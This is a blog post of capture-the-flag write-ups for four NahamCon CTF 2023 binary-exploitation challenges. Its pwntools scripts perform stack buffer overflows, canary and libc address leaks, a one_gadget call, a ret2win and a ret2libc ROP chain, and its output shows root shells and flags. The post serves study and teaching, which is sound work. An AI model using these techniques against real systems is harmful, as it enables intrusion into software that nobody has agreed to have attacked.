Home NahamCon CTF 2023
Post
Cancel

NahamCon CTF 2023

NahamCon CTF was a 48 hour CTF with a lot of challenges in many different categories. I unfortunately missed most of the first day of the competition, but luckily I was still able to solve some of the pwn challenges. The following challenge-writeups are for the pwn-challenges I solved during the competition.

Open Sesame

Points: 50
Difficulty: Easy
Author: JohnHammond

Something about forty thieves or something? I don’t know, they must have had some secret incantation to get the gold!

Attachments: open_sesame, open_sesame.c

Together with the challenge binary we are given the source code for this challenge, which has the following important parts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define SECRET_PASS "OpenSesame!!!"
typedef enum {no, yes} Bool;
void flag(){
    system("/bin/cat flag.txt");
}

Bool isPasswordCorrect(char *input){
    return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}

void caveOfGold(){
    Bool caveCanOpen = no;
    char inputPass[256];

    puts("BEHOLD THE CAVE OF GOLD\n");
    puts("What is the magic enchantment that opens the mouth of the cave?");
    scanf("%s", inputPass);

    if (caveCanOpen == no){
        puts("Sorry, the cave will not open right now!");
        return;
    }

    if (isPasswordCorrect(inputPass) == yes){
        puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
        flag();
    } else {
        puts("ERROR, INCORRECT PASSWORD!");
    }
}

int main(){
    caveOfGold();
    return 0;
}

The protections of the file are

1
2
3
4
5
6
$ pwn checksec open_sesame
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

The notable things are:

  • There is a flag() function printing the flag if we give the password OpenSesame!!!
  • After caveCanOpen = no there is no option to change it to yes before the check if (caveCanOpen == no)
  • We have a buffer inputPass for 256 bytes, but scanf("%s", inputPass); will read past that if we give it more characters

Because of the scanf vulnerability here we can overflow the caveCanOpen variable to be something else than 0, and as long as the first bytes of our payload is the password OpenSesame!!! we will be able to print the flag (this works because the password-check only checks the first 13 bytes of our input instead of everything we give as input)

We start off by finding the offset to the caveCanOpen variable with pwndbg by breaking at the first if-check (which in assembly is cmp dword ptr [rbp - 4], 0) and check the value of the variable after we have supplied a long enough cyclic pattern caveCanOpen pwndbg Breakpoint Finding the offset

Knowing the offset to the variable, and that the first part of our input have to be the password, we get a payload consisting of

  • OpenSesame!!!
  • padding (268 - len(OpenSesame!!!))
  • 1 (any number instead of 0 would work here)

Knowing the payload, we get the following exploit script (template is generated with pwntools pwn template ./<binary> --quiet > exploit.py, with the following exploit script not showing the template code (only the actual exploit) )

1
2
3
4
5
6
7
8
9
10
11
12
password = b"OpenSesame!!!"
variable_offset = 268

io = start()
io.recvuntil(b"cave?")

payload = password
payload = payload.ljust(variable_offset, b"A")
payload += pack(0x1)

io.sendline(payload)
io.interactive()
1
2
3
4
5
6
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 32743: Done
[*] Switching to interactive mode

YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}

Points: 467
Difficulty: Medium
Author: M_alpha

Something’s a little off about this stack cookie…

Attachments: weird_cookie, libc-2.27.so

The binary has the following protections

1
2
3
4
5
6
$ pwn checksec ./weird_cookie
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Reversing the binary reveals the following main function Weird cookie main

We see the following notable parts:

  • There is a predefined canary value which is checked for at the end of the main function
  • We can input 64 bytes to a 40-byte buffer, which allows for an overflow
  • There is no flag-printing function, so we probably have to ROP to get shell while bypassing PIE and ASLR

Since we have an overflow where we can give 64 bytes to a 40 byte buffer we can make the first puts(buffer) print more than 40 bytes if we overwrite the nullbyte at the end of the buffer. puts will then print until the next nullbyte, potentially leaking useful data. To overwrite the nullbyte at the end of the buffer we only need to give 40 bytes of input

1
2
3
4
5
6
io = start()
io.recvuntil(b"me?")
io.send(b"A"*40)
io.recvline()
leak = io.recvline()
print(leak)

By parsing different offsets of the leaked bytes we find the following

1
2
3
4
$ python3 exploit.py LOCAL
Leak: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb1\xf0\xd1\xbe\xc0)4\x12\x90\xc2\xc4\x8d\x86U\n'
Leak_1: 0x123429191f4520b1
Leak_2: 0x561f4f3a21a8

We find two leaks: The first one being something looking like the initialized canary_copy, and the second one being a binary-leak which we can get the piebase from

1
2
3
canary = int(u64(leak[40:48].rstrip().ljust(8, b"\x00")))
main = int(u64(leak[48:54].rstrip().ljust(8, b"\x00")))-0xe8
exe.address = main - exe.sym.main

The “almost-canary” value is interesting, because it is similar to the value from the reversed main-function. Looking at the assembly-code of the main function we find a xor-operation being performed Xor operation

There is also a hardcoded value which is being loaded, 0x123456789abcdef1, if we xor this value with our leak_2 we get 0x7f6185f9fe40 which is a libc address 0x64e40 from the libc base address!

So from the first input we can get the base address of both the binary and the libc. This would be perfect to ROP by calling system("/bin/sh"). However, since we only can input 64 bytes we are only able to barely overflow into the RIP-register with 1 gadget, but to call system("/bin/sh") we need 3 gadgets (pop gadget, address of “/bin/sh”, and system() call).

Luckily we can use a one_gadget, which is an address in libc which under certain constraints will be able to call execve("/bin/sh") and give us shell.

We have 3 gadgets to try

1
2
3
4
5
6
7
8
9
10
11
12
13
$ one_gadget ./libc-2.27.so
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

The first one works fine, so we will use that one. Note that during this overflow, unless saved_canary == canary_copy the program will call exit(0) and not return, so we need to overwrite the leaked canary with its existing value to be able to ROP. This payload then becomes

1
2
3
4
5
io.recvuntil(b"again.")
payload = b"A"*canary_offset
payload += pack(canary)
payload += pack(0x0)
payload += pack(libc.address + 0x4f2a5)

Piecing all the parts together gives the full exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
canary_offset = 40
key = 0x123456789abcdef1
libc = exe.libc

io = start()
io.recvuntil(b"me?")
io.send(b"A"*40)
io.recvline()
leak = io.recvline()

canary = int(u64(leak[40:48].rstrip().ljust(8, b"\x00")))
main = int(u64(leak[48:54].rstrip().ljust(8, b"\x00")))-0xe8
exe.address = main - exe.sym.main
libc.address = (canary ^ key) - 0x64e40

log.success(f"Piebase @ {hex(exe.address)}")
log.success(f"Canary: {hex(canary)}")
log.success(f"Libc @ {hex(libc.address)}")

io.recvuntil(b"again.")
payload = b"A"*canary_offset
payload += pack(canary)
payload += pack(0x0)
payload += pack(libc.address + 0x4f2a5)

io.send(payload)
io.interactive()

Which gives us shell and the flag

1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 30861: Done
[*] Switching to interactive mode
$ cat flag.txt
flag{e87923d7cd36a8580d0cf78656d457c6}

Nahm Nahm Nahm

Points: 369
Difficulty: Medium
Author: WittsEnd

Me hungry for files!

For your convenience, pwntools, nano and vim are installed on this instance.

Attachments: nahmnahmnahm

This was a bit of a special challenge, and involved us ssh-ing into a docker container where the attached binary were a setuid binary as root.

The protections of the binary are

1
2
3
4
5
6
$ pwn checksec nahmnahmnahm
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Reversing the binary gives the following functions (with the first function, main, being a bit weird/long because of the assembly initializing 128 entries of the filename buffer)

Reversed main

Reversed vuln

The binary opens and print the contents of a file, unless the file contains the word flag in it. The file cannot be a symlink either. The size of the file also have to be less than 0x51.

Our goal is to read the flag file located at the system, and it is owned by root.

The vulnerability is that the binary waits for an input with getchar() before calling vuln(filename), but after the file-checks (filename not containing flag, file being a symlink, and size check). I therefore tried to create an empty file and symlink it to the flag file while the programs waits for an input with getchar(). I though this would work because of the setuid, but I got fopen: permission denied instead.

I then notices that there was a function in the binary, winning_function, which just prints the flag when called. This makes the challenge being a ret2win challenge, as the vuln function reads 0x1000 bytes from a file into a 80 byte buffer.

What differs this challenge from a standard ret2win challenge is that we have to create a file smaller than 0x51 bytes (without the word flag in the filename), and while the program waits for our input for getchar() we write a ret2win payload to the file with another terminal shell, and then let the program read our payload-file which exploits the buffer overflow.

The exploit-script creating the payload-file becomes

1
2
3
4
5
6
7
8
9
from pwn import *

exe = context.binary = ELF('/home/user/nahmnahmnahm', checksec=False)

payload = b"A"*104
payload += pack(exe.sym.winning_function)

with open("payload", "wb") as f:
    f.write(payload)

Running this exploit gives us the flag (before pressing enter we run our exploit.py file to write into the empty payload file)

1
2
3
4
5
6
7
8
user@:~$ ./nahmnahmnahm
Enter file: /tmp/payload
Press enter to continue:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@Welcome to the winning function!
flag{d41d8cd98f00b204e9800998ecf8427e}

Segmentation fault

All Patched up

Points: 413
Difficulty: Medium
Author: M_alpha

Do you really know how to ret2libc?

Attachments: libc-2.31.so, all_patched_up, Dockerfile

From the challenge-description we know that this will be a ret2libc challenge.

The binary have the following protections

1
2
3
4
5
6
$ pwn checksec all_patched_up
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

and this reversed main function

Reversed main

The vulnerability is that 1024 bytes are being read into a 512 byte buffer, allowing a buffer overflow. We have no canary or PIE, so we only need to leak a libc address to bypass ASLR, which we will do by leaking a GOT function. However, we only have the available function read, write and setbuf to use. This means that we have to leak the GOT-address of either of those functions by calling the write function.

This is what introduces the biggest challenge with this exploit. Since the write function takes 3 arguments we need control over the rdi, rsi and rdx registers, but from the available gadgets we can only do these operations

  • mov rdi, 1 (We can only insert the value 1 into rdi)
  • pop rsi; pop r15; mov rdi, 1; ret; (We can pop into rsi)
  • No rdx gadgets

mov rdi, 1 lets us make write write its output to stdout (which is what we want), we can also pop any value into rsi, which in our case will be the GOT address of write, but we cannot manipulate rdx to specify how many bytes will be written to stdout. Luckily we don’t need to be able to manipulate this, as the existing value in rdx at our exploit point will be a quite large value (ending up printing a lot more bytes than we actually need).

Knowing this, our exploit plan becomes

  • Overflow the buffer until we hit the location of the return address
  • use pop gadget to set rsi with the GOT address of write, and rdi to 1
  • Execute main again, and parse the leak to get the GOT address, and subsequently find the libc base address
  • Overflow again and call system("/bin/sh")

The full exploit script ends up being

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
libc = exe.libc
offset = 520
ret = 0x40101a
pop_rsi_pop_r15_mov_rdi_1 = 0x401251

io = start()
io.recvuntil(b">")

payload = b"A"*offset
payload += pack(ret)
payload += pack(pop_rsi_pop_r15_mov_rdi_1)
payload += pack(exe.got.write)
payload += pack(0x0)
payload += pack(exe.sym.write)
payload += pack(ret)
payload += pack(exe.sym.main)

io.send(payload)

leak = io.recvuntil(b">")[:-1].rstrip()
got_write = int(str(hex(unpack(leak[0:7].ljust(8, b"\x00"))))[:-2],16)
libc.address = got_write - libc.sym.write
log.success(f"Libc base @ {hex(libc.address)}")

rop = ROP(libc)
rop.raw(b"A"*offset)
rop.system(next(libc.search(b"/bin/sh\x00")))

io.send(rop.chain())
io.interactive()

Which gives us shell and the flag

1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 31727: Done
[*] Switching to interactive mode
$ cat flag.txt
flag{499c6288c77f297f4fd87db8e442e3f0}
This post is licensed under CC BY 4.0 by the author.